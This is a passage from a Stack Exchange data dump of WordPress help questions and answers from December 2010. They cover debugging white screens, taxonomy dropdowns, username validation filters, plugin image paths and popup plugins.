  <row Id="5126" PostTypeId="2" ParentId="5123" CreationDate="2010-12-10T01:38:04.453" Score="11" ViewCount="" Body="&lt;p&gt;To get WordPress to display errors, edit the &lt;code&gt;wp-config.php&lt;/code&gt; file to say&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_DEBUG', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default, this is set to &lt;code&gt;false&lt;/code&gt; and should be towards the bottom of the file. That will allow you to see which errors are being produced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, whitespace at the end of files almost never causes the WSOD; that's what causes the 'Headers already sent' errors in feeds, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given your description, I can only think of two possibilities for why Akismet is causing errors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You're over the memory limit&lt;/li&gt;&#xA;&lt;li&gt;Another plugin might be using a function that Akismet uses, causing a 'Cannot redeclare user-defined function' error&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Try turning &lt;code&gt;WP_DEBUG&lt;/code&gt; on and come back if you have questions.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-10T01:38:04.453" CommentCount="5" />
  <row Id="5127" PostTypeId="2" ParentId="5114" CreationDate="2010-12-10T03:39:47.387" Score="1" ViewCount="" Body="&lt;p&gt;Do you use a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection?&lt;/a&gt; It has a setting that will automatically create redirects when a post permalink is changed, and if the post is renamed and then changed back to the original name, you get a loop. And if a category is removed, WP will reassign a post to the default category and that may be part of it, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check .htaccess for any hardcoded 301 redirects.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-12-10T03:39:47.387" CommentCount="1" />
  <row Id="5128" PostTypeId="2" ParentId="2772" CreationDate="2010-12-10T04:18:43.437" Score="0" ViewCount="" Body="&lt;p&gt;I had searched everything, and i faced 404 many times. I think @Rarst is correct&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-12-10T04:18:43.437" CommentCount="2" />
  <row Id="5129" PostTypeId="2" ParentId="5069" CreationDate="2010-12-10T04:22:41.593" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to @t31os. This is what i was looking for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/accordion-image-menu/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/accordion-image-menu/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="958" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-10T09:31:18.247" LastActivityDate="2010-12-10T09:31:18.247" />
  <row Id="5130" PostTypeId="1" AcceptedAnswerId="5133" CreationDate="2010-12-10T04:48:13.967" Score="1" ViewCount="206" Body="&lt;p&gt;i have a function of custom taxonomies to display a drop down list on my website, which is working fine, but there is one problem, the default value is a custom taxonomy, but that i dont want, i want a custom word, like select cause the current default value, when i select it, it is not redirecting to the corresponding page,&#xA;if you wanna chaeck it, goto my website, on the home page i have kept that drop-down list&#xA;www.mbas.in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the code of the function is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_taxonomy_dropdown($taxonomy) {&#xA;      $id = &quot;{$taxonomy}-dropdown&quot;;&#xA;      $js =&amp;lt;&amp;lt;&amp;lt;SCRIPT&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;     jQuery(document).ready(function($){&#xA;      $(&quot;select#{$id}&quot;).change(function(){&#xA;        window.location.href = $(this).val();&#xA;      });&#xA;     });&#xA;    &amp;lt;/script&amp;gt;&#xA;    SCRIPT;&#xA;      echo $js;&#xA;      $terms = get_terms($taxonomy);&#xA;      echo &quot;&amp;lt;select name=\&quot;{$id}\&quot; id=\&quot;{$id}\&quot;&amp;gt;&quot;;&#xA;      foreach($terms as $term) {&#xA;        echo '&amp;lt;option value=&quot;';&#xA;        echo get_term_link(intval($term-&amp;gt;term_id),$taxonomy);&#xA;        echo '&quot;&amp;gt;' . &quot;{$term-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;      }&#xA;      echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;    }&#xA;    add_action('init','jquery_init');&#xA;    function jquery_init() {&#xA;      wp_enqueue_script('jquery');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what i do for keeping default value as Select ????&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-10T09:13:55.873" Title="drop-down list taxonomy problem" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5131" PostTypeId="2" ParentId="5090" CreationDate="2010-12-10T05:37:25.883" Score="1" ViewCount="" Body="&lt;p&gt;I see what you're talking about. Looks like the images are being generated by the timthumb script and that slug references a cached image identifier. Without seeing the plugin or script thats generating those images, its hard to say how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On first view of an image, the image path looks like&#xA;&lt;a href=&quot;http://tambnguyen.com/wp-content/themes/13Floor/timthumb.php?src=thumbs/Linus_Lundin.jpg&amp;amp;h=136&amp;amp;w=136&amp;amp;zc=1&quot; rel=&quot;nofollow&quot;&gt;http://tambnguyen.com/wp-content/themes/13Floor/timthumb.php?src=thumbs/Linus_Lundin.jpg&amp;amp;h=136&amp;amp;w=136&amp;amp;zc=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and after refreshing, its more like&#xA;&lt;a href=&quot;http://tambnguyen.com/wp-content/themes/13Floor/ic.ab271bb704a7768685cd1f6d6cd3eb8f.136x136xtimthumb,ophp?src=thumbs,_Linus_Lundin,j&amp;amp;h=136&amp;amp;w=136&amp;amp;zc=1.jpg&quot; rel=&quot;nofollow&quot;&gt;http://tambnguyen.com/wp-content/themes/13Floor/ic.ab271bb704a7768685cd1f6d6cd3eb8f.136x136xtimthumb,ophp?src=thumbs,_Linus_Lundin,j&amp;amp;h=136&amp;amp;w=136&amp;amp;zc=1.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way probably doesn't work for facebook sharing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not just include the raw image (ie. not processed through timthumb) in a hidden div in your single.php template? That way you have something to show if you want to share the post on facebook?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-10T05:37:25.883" CommentCount="1" />
  <row Id="5132" PostTypeId="2" ParentId="5102" CreationDate="2010-12-10T08:10:10.843" Score="1" ViewCount="" Body="&lt;p&gt;Why don't you validate your field with the help of some Javascript?&#xA;I think this would be the best approach for this.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-12-10T08:10:10.843" CommentCount="2" />
  <row Id="5133" PostTypeId="2" ParentId="5130" CreationDate="2010-12-10T08:53:51.203" Score="2" ViewCount="" Body="&lt;p&gt;Not sure exactly what you're asking. Do you just want to include a blank value before the list of terms? Would this work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;option value=&quot;#&quot;&amp;gt; - Select - &amp;lt;/option&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(inserted just before the line &lt;strong&gt;foreach($terms as $term) {&lt;/strong&gt;)&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-12-10T09:13:55.873" LastActivityDate="2010-12-10T09:13:55.873" CommentCount="1" />
  <row Id="5134" PostTypeId="2" ParentId="5050" CreationDate="2010-12-10T09:04:02.603" Score="0" ViewCount="" Body="&lt;p&gt;According to the phylosophy of the fine folks at Debian (which Ubuntu inherits the package from), it is security-wise much better to have wordpress installed under root permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a consequence, it's not possible to use automatic installation of plugins, themes and the auto-update.&#xA;(to be more precise, the wordpress package contains a &lt;em&gt;patched&lt;/em&gt; version of wordpress)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, is common practice for many people to simple download wordpress from the web and install it manually in the webroot.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-10T09:04:02.603" CommentCount="4" />
  <row Id="5135" PostTypeId="2" ParentId="5123" CreationDate="2010-12-10T10:25:16.983" Score="1" ViewCount="" Body="&lt;p&gt;White screens are generally due to too small a php memory limit.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T10:25:16.983" />
  <row Id="5136" PostTypeId="1" AcceptedAnswerId="5137" CreationDate="2010-12-10T11:54:24.370" Score="1" ViewCount="173" Body="&lt;pre&gt;&lt;code&gt;function validate_username( $username ) {&#xA;    $sanitized = sanitize_user( $username, true );&#xA;    $valid = ( $sanitized == $username );&#xA;&#xA;    return apply_filters( 'validate_username', $valid, $username );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in wp-includes/registration.php i want to change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sanitized = sanitize_user( $username, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sanitized = sanitize_user( $username, false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldnt success to write add_filter in there, somehow its not working. Can you write a filter for this please?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-08-04T20:33:37.923" Title="add_filter return value" Tags="&lt;filters&gt;" AnswerCount="3" />
  <row Id="5137" PostTypeId="2" ParentId="5136" CreationDate="2010-12-10T12:00:32.907" Score="1" ViewCount="" Body="&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_validate_username( $valid, $username ) {&#xA;    $sanitized = sanitize_user( $username, false );&#xA;    $valid = ( $sanitized == $username );&#xA;&#xA;    return $valid;&#xA;}&#xA;&#xA;add_filter('validate_username', 'my_validate_username', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T12:00:32.907" CommentCount="2" />
  <row Id="5138" PostTypeId="1" AcceptedAnswerId="5142" CreationDate="2010-12-10T12:20:53.557" Score="0" ViewCount="309" Body="&lt;p&gt;i tried this code, it is not giving me any 404 page instead it is giving me the same page back, now i think the submit buttons needs to be configured&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_taxonomy_dropdown($taxonomy) {&#xA;  $id = &quot;{$taxonomy}-dropdown&quot;;&#xA;  $terms = get_terms($taxonomy);&#xA;  echo &quot;&amp;lt;select name=\&quot;{$id}\&quot; id=\&quot;{$id}\&quot;&amp;gt;&quot;;&#xA;  foreach($terms as $term) {&#xA;    echo '&amp;lt;option value=&quot;';&#xA;    echo get_term_link(intval($term-&amp;gt;term_id),$taxonomy);&#xA;    echo '&quot;&amp;gt;' . &quot;{$term-&amp;gt;name}&amp;lt;/option&amp;gt;&quot;;&#xA;  }&#xA;  echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;}&#xA;add_action('init','jquery_init');&#xA;function jquery_init() {&#xA;  wp_enqueue_script('jquery');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this code was provided to me by one of the person from this website, i just modified it,&#xA;this works but its just showing me the home page again&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-12T04:54:09.250" LastActivityDate="2010-12-12T04:54:09.250" Title="drop-down list another query" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="5139" PostTypeId="1" CreationDate="2010-12-10T12:36:01.690" Score="0" ViewCount="115" Body="&lt;p&gt;Can i redirect my domain to wordpress.com using my own nameserver?&lt;/p&gt;&#xA;" OwnerUserId="965" LastActivityDate="2010-12-10T14:00:23.280" Title="Adding existing domain name to Wordpress.com" Tags="&lt;wordpress.com&gt;&lt;domain&gt;&lt;domain-mapping&gt;" AnswerCount="2" />
  <row Id="5140" PostTypeId="2" ParentId="3014" CreationDate="2010-12-10T12:36:55.637" Score="0" ViewCount="" Body="&lt;p&gt;Nice work Somatic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I dont get how you can list your custom post types in a page the way you explain.  If I don't use a page-portfolio.php and add it to a page, all I get is 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do like Gavin does, I have modified you function a bit to also remove the &quot;current_page_parent&quot; from the blog page like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class', 'current_type_nav_class', 10, 2);&#xA;function current_type_nav_class($css_class, $item) {&#xA;$post_type = get_query_var('post_type');&#xA;&#xA;if (get_post_type()=='portfolio') {&#xA;    $current_value = &quot;current_page_parent&quot;; &#xA;    $css_class = array_filter($css_class, function ($element) use ($current_value) { return ($element != $current_value); } );&#xA;}&#xA;&#xA;if ($item-&amp;gt;attr_title != '' &amp;amp;&amp;amp; $item-&amp;gt;attr_title == $post_type) {       &#xA;    array_push($css_class, 'current_page_parent');&#xA;};&#xA;return $css_class;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="1678" LastActivityDate="2010-12-10T12:36:55.637" />
  <row Id="5141" PostTypeId="2" ParentId="5139" CreationDate="2010-12-10T12:50:05.203" Score="1" ViewCount="" Body="&lt;p&gt;Sure. Just add 301 redirect rules using an htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T12:50:05.203" CommentCount="1" />
  <row Id="5142" PostTypeId="2" ParentId="5138" CreationDate="2010-12-10T13:07:40.947" Score="1" ViewCount="" Body="&lt;p&gt;Just a standard HTML form will do!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo home_url('/'); ?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php wp_dropdown_categories('taxonomy=taxonomy-1&amp;amp;name=taxonomy-1'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php wp_dropdown_categories('taxonomy=taxonomy-2&amp;amp;name=taxonomy-2'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Search!&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just replace &lt;code&gt;taxonomy-1&lt;/code&gt; and &lt;code&gt;taxonomy-2&lt;/code&gt; with the names of &lt;em&gt;your&lt;/em&gt; taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Important&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you registered your taxonomy with a custom &lt;code&gt;query_var&lt;/code&gt;, you'll need to match it in the &lt;code&gt;name&lt;/code&gt; argument of &lt;code&gt;wp_dropdown_categories()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;strong&gt;querying multiple taxonomies is not supported as of 3.02&lt;/strong&gt; - you'll need the 3.1 beta, a &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; or &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5055/query-posts-by-custom-post-type-and-custom-taxonomy/5057#5057&quot;&gt;additional filters&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2010-12-10T15:04:54.387" LastActivityDate="2010-12-10T15:04:54.387" CommentCount="7" />
  <row Id="5143" PostTypeId="2" ParentId="5139" CreationDate="2010-12-10T14:00:23.280" Score="3" ViewCount="" Body="&lt;p&gt;If you don't want to redirect your users from &lt;code&gt;example.com&lt;/code&gt; to &lt;code&gt;example.wordpress.com&lt;/code&gt;, but really want &lt;code&gt;example.com&lt;/code&gt; to be new domain name for your WordPress.com blog, you can &lt;a href=&quot;http://en.support.wordpress.com/domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;buy Domain Mapping for $12 per year&lt;/a&gt; if you already have your own domain. &lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-10T14:00:23.280" />
  <row Id="5144" PostTypeId="1" AcceptedAnswerId="5148" CreationDate="2010-12-10T14:15:43.493" Score="0" ViewCount="128" Body="&lt;p&gt;What is the correct method to refer to images from within your plugin code, so that no matter what the folder is named, they resolve correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had an issue where a user downloaded my plugin twice, then used the 2nd downloaded file to install it. Since Windows automatically named duplicate files foldername(2).zip, when my plugin was uploaded to the site, it was placed in a folder named &quot;foldername(2). So since my images were linked to wp-content/plugins/foldername/img/foo.png, none of the images were showing up.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-10T15:19:12.173" Title="How to link to images in my plugin regardless of the plugin folder's name" Tags="&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="5145" PostTypeId="1" CreationDate="2010-12-10T14:20:19.277" Score="1" ViewCount="72" Body="&lt;p&gt;every time I write a post I make sure I add links to wordsthat I have tags for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&#xA;&quot;The economy of &lt;a href=&quot;http://blog.antinovaordemmundial.com/tag/brasil&quot; rel=&quot;nofollow&quot;&gt;Brazil&lt;/a&gt; has improved in the last few years&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this ensure that when people re-post my content, a lot of back-links will be created to my tags. This is quite a lot of work to do manually for every post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be cool if there was a plugin that would suggest tags to be applied when they match existing words in the text of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a thing?&lt;/p&gt;&#xA;" OwnerUserId="1542" LastActivityDate="2010-12-10T15:04:31.970" Title="Tag link suggestion plugin" Tags="&lt;plugins&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="5146" PostTypeId="1" AcceptedAnswerId="5174" CreationDate="2010-12-10T14:20:23.303" Score="0" ViewCount="162" Body="&lt;p&gt;I'd like to add some code to my plugin populate a specific sidebar (if it exists) with a text widget containing preset content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the sidebar I'm trying to preset is referenced by ID as &quot;my-widget&quot;, how would I preset the content's of that widget with a text widget containing the text &quot;Hello World&quot;?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-10T22:17:44.317" Title="How to preset a sidebar widget with default content via script?" Tags="&lt;theme-development&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="5147" PostTypeId="2" ParentId="5144" CreationDate="2010-12-10T14:20:49.653" Score="0" ViewCount="" Body="&lt;p&gt;This should work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugin_basename&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/plugin_basename&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If your plugin file is located at /home/www/wp-content/plugins/myplugin/myplugin.php, and you call:&#xA;&#xA; $x = plugin_basename(__FILE__); &#xA;&#xA;$x will equal &quot;myplugin/myplugin.php&quot;.&#xA;&#xA;If you would like to know the full url path to your plugin's directory, you can call:&#xA;&#xA;$x = WP_PLUGIN_URL.'/'.str_replace(basename( __FILE__),&quot;&quot;,plugin_basename(__FILE__));&#xA;&#xA;$x will equal &quot;http://[url-path-to-plugins]/[myplugin]/&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-10T14:20:49.653" />
  <row Id="5148" PostTypeId="2" ParentId="5144" CreationDate="2010-12-10T14:21:37.343" Score="4" ViewCount="" Body="&lt;p&gt;I am not sure about this specific example but in general &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugins_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;plugins_url()&lt;/code&gt;&lt;/a&gt; is fitting function for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from Codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugins_url('/images/wordpress.png', __FILE__);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-10T14:21:37.343" CommentCount="1" />
  <row Id="5149" PostTypeId="2" ParentId="4878" CreationDate="2010-12-10T14:38:59.673" Score="0" ViewCount="" Body="&lt;p&gt;I was looking at this problem again today, that is, the dropdown element returned by &lt;code&gt;wp_dropdown_categories()&lt;/code&gt; setting option values to the term's ID..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now whilst this makes the dropdown a little useless for filter dropdowns or jump menus, it is actually possible to rejiggle the JS used so it works &quot;as is&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a basic example, which is based on the code posted above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_taxonomy_dropdown( $taxonomy = '', $query_var = '' ) {&#xA;&#xA;    if( empty( $taxonomy ) )&#xA;        return;&#xA;&#xA;    if( empty( $query_var ) )&#xA;        $query_var = $taxonomy;&#xA;&#xA;    $select_id = &quot;{$taxonomy}-dropdown&quot;;&#xA;    $url_base = get_bloginfo('url') . &quot;/$query_var/&quot;;&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;        $(&quot;select#&amp;lt;?php echo $select_id; ?&amp;gt;&quot;).change(function(){&#xA;            var term = this.options[this.selectedIndex].text;&#xA;            window.location.href = &quot;&amp;lt;?php echo $url_base; ?&amp;gt;&quot; + term;&#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    wp_dropdown_categories( array( 'taxonomy' =&amp;gt; $taxonomy, 'id' =&amp;gt; $select_id ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; This examples JS assumes you are using pretty permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your taxonomy uses a query var that differs to the taxonomy slug you pass into the function, simply add the query var as the second parameter.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_taxonomy_dropdown( 'post_tag', 'tag' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note, this is just an example to show you how to work around the issue with &lt;code&gt;wp_dropdown_categories&lt;/code&gt; and custom taxonomies by making changes to the JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for reference, there's a ticket here that was due for a patch.&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/13258&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/13258&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-10T14:38:59.673" CommentCount="2" />
  <row Id="5150" PostTypeId="2" ParentId="5145" CreationDate="2010-12-10T15:04:31.970" Score="1" ViewCount="" Body="&lt;p&gt;I ran a &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=automatic+tag+link&quot; rel=&quot;nofollow&quot;&gt;search&lt;/a&gt; on the wordpress plugin directory there are several options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/terms-to-links/&quot; rel=&quot;nofollow&quot;&gt;Terms to Links&lt;/a&gt; looks like it should work for you. It automatically links to terms in your content to that term's page. Can be used for tags, categories and custom taxonomies.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-10T15:04:31.970" CommentCount="1" />
  <row Id="5151" PostTypeId="1" CreationDate="2010-12-10T15:14:49.590" Score="1" ViewCount="253" Body="&lt;p&gt;I have looked and looked, but have had no luck doing the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a portfolio section of a blog I'm putting together and I want to have images that when clicked a popup window opens that contains text. I know there's lots of plugins to allow you to click on text and an image opens, but I want it the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the popup to consist of white text on a red background, which would go with my theme. And if possible I would like to have a link in the text that when clicked would close the popup and go to that link in the main window (the links would be to posts in the blog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm willing to pay for a commercial plugin if it's available. I have this site pretty well done, but can't show it to my client until I get this part of it worked out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's a link to the site so you have an idea of the page I'm looking to do this on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bluegrassphotography.net/testwordpress/?cat=9&amp;amp;paged=2&quot; rel=&quot;nofollow&quot;&gt;http://bluegrassphotography.net/testwordpress/?cat=9&amp;amp;paged=2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-13T11:03:27.947" Title="Can I open a popup TEXT window from an image click?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5152" PostTypeId="2" ParentId="5144" CreationDate="2010-12-10T15:19:12.173" Score="3" ViewCount="" Body="&lt;p&gt;As has already been said, use &lt;code&gt;plugins_url($path, $plugin_file)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should &lt;strong&gt;always&lt;/strong&gt; avoid hard-coding paths as much as possible, since not only can a user rename a plugin folder, they can &lt;a href=&quot;http://wpshout.com/move-your-wp-content-area/&quot; rel=&quot;nofollow&quot;&gt;move the entire &lt;code&gt;wp-content&lt;/code&gt; directory&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a few functions and constants I always use;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;WP_CONTENT_DIR&lt;/code&gt;&lt;br&gt;&#xA;Absolute filepath to &lt;code&gt;wp-content&lt;/code&gt; directory&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;WP_PLUGIN_DIR&lt;/code&gt;&lt;br&gt;&#xA;Absolute filepath to &lt;code&gt;wp-content/plugins&lt;/code&gt; directory&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;wp_upload_dir($time)&lt;/code&gt;&lt;br&gt;&#xA;Get filesystem and URL paths to uploads directory, optionally for a&#xA;specific time (if using year/month&#xA;folders)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;site_url($path)&lt;/code&gt;&lt;br&gt;&#xA;Absolute URL to WordPress install&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;home_url($path)&lt;/code&gt;&lt;br&gt;&#xA;Absolute URL to WordPress home (front page per se)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;plugins_url($path, $file)&lt;/code&gt;&lt;br&gt;&#xA;Uses &lt;code&gt;plugin_basename($file)&lt;/code&gt; to get the absolute URL for the&#xA;directory that &lt;code&gt;$file&lt;/code&gt; currently&#xA;resides in, and appends &lt;code&gt;$path&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;plugin_basename($file)&lt;/code&gt;&lt;br&gt;&#xA;Get the &lt;em&gt;relative&lt;/em&gt; path from the plugins folder to &lt;code&gt;$file&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-10T15:19:12.173" />
  <row Id="5153" PostTypeId="2" ParentId="5151" CreationDate="2010-12-10T15:30:03.460" Score="2" ViewCount="" Body="&lt;p&gt;Enter &lt;a href=&quot;http://fancybox.net/&quot; rel=&quot;nofollow&quot;&gt;Fancybox&lt;/a&gt; - check out the examples below the images, specifally &lt;strong&gt;Inline - modal window&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this seems like the ticket, it's a very straightforward process of &lt;a href=&quot;http://fancybox.net/howto&quot; rel=&quot;nofollow&quot;&gt;including it in your theme&lt;/a&gt; and then either following the &lt;a href=&quot;http://fancybox.net/blog&quot; rel=&quot;nofollow&quot;&gt;examples&lt;/a&gt; or &lt;a href=&quot;http://fancybox.net/api&quot; rel=&quot;nofollow&quot;&gt;skimming the API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know how you get on, or if you need a little help setting it up.&lt;/p&gt;&#xA;" OwnerUserId="1685" 